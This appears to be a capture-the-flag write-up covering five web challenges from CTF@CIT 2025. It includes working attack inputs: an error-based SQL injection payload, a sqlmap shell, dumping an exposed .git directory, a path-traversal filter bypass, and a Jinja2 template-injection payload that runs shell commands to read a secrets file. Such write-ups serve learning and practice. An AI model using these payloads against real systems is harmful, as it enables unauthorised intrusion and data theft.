# CTF@CIT 2025
## How It All Began
It was a boring weekend, and one of my colleagues stumbled upon a [CTF@CIT](https://ctftime.org/ctf/1109/) event listed on [CTFtime](https://ctftime.org/). With a weight of 24.57, it seemed like a good challenge for working folks like us who just want to get wrecked (~~painfully~~) by some CTF problems 😨
Since we’re more familiar with Web exploitation, this write-up will only cover the Web category.
---
## The Battle Begins
### Web 1 - Breaking Authentication
> Difficulty: Easy
- The challenge starts with a login page—classic place to try SQL injection. A single quote reveals error-based SQLi.


- We crafted an error using `updatexml()` to extract table names:
```sql
admin'+and+(select+updatexml(1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+',')+FROM+information_schema.tables+WHERE+table_schema+!='mysql'+AND+table_schema+!=+'information_schema'),1))+--+
```

- Too lazy to dump manually—`sqlmap`'s `--sql-shell` did the job. Red box = flag, blue box = credentials for a later challenge.

---
### Web 2 - Commit & Order: Version Control Unit
> Difficulty: Easy
- The challenge name hinted at `.git`. Directory fuzzing confirms:
```bash
[04:18:26] 301 - /.git/
...
[04:18:26] 200 - /.git/config
```
- Time to use [git-dumper](https://github.com/arthaud/git-dumper):
```bash
python git_dumper.py http://23.179.17.40:58002/ web-2
cd web-2
git log | grep commit
```
- In commit `9b8bf1...`, we found this:
```
This admin panel is under construction. No actual functionality is available yet. But here, have this: Q0lUezVkODFmNzc0M2Y0YmMyYWJ9
```
- Decode using base64:
```bash
echo "Q0lUezVkODFmNzc0M2Y0YmMyYWJ9" | base64 -d
# CIT{5d81f7743f4bc2ab}
```
---
### Web 3 - Keeping Up with the Credentials
> Difficulty: Easy~Medium
- Starts with a login page. Use the admin credentials from Web 1 (the blue box).

- Logs in to `debug.php`, which is blank. Directory fuzzing finds `admin.php`, but accessing it redirects to login.
- Tried spoofing Host/Referer/X-Forwarded-For—none worked.

- Trick: change request method to `POST` instead of `GET`.

- Simple, but tricky. Many overthink and miss the easiest route.

---
### Web 4 - How I Parsed your JSON
> Difficulty: Medium
- Challenge lets you query JSON with SQL-like syntax. Typing `*` reveals the full document. The flag is in `secrets.txt`.

- Trying to access `../secrets.txt` fails due to filtering. But...

- Bypass: use `....//` for `../`, and `.txt.json` to bypass extension filters.
```http
container=....//secrets.txt.json
```

---
### Web 5 - Mr. Chatbot
> Difficulty: Medium
- Starts with a username input. Any value logs in.

- Chatbot is client-side JS. Not relevant. Inspecting the login cookie, we find Base64-like data.

```bash
echo -n "eyJhZG1pbiI6IjAiLCJuYW1lIjoidGVzdCJ9.aA3tbQ.l4y9ffBh-RKddWkqm0E-44dWI6k" | base64 -d
# {"admin":"0","name":"test"}base64: invalid input
```
- Add `&admin=1` to change session structure.

- Not Base64—it's Flask session. Use [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign):
```bash
flask-unsign --decode --cookie "<cookie_here>"
```
- Noticed `uid` contains encoded `test`. Suspected SSTI. Tried:
```
name={{6*6}}&admin=1
```
- Confirmed SSTI worked—returned `36`.
- Final payload:
```jinja2
name={{config.__class__.__init__.__globals__['os'].popen('cat secrets.txt').read()}}&admin=1
```
- Result:
```bash
CIT{18a7fbedb4f3548f}
```
---
## Final Thoughts
CTF@CIT had solid Web challenges—nothing too arcane or obscure. Great for beginners and veterans alike.
If you have other CTFs to recommend, feel free to share! 😆😆😆
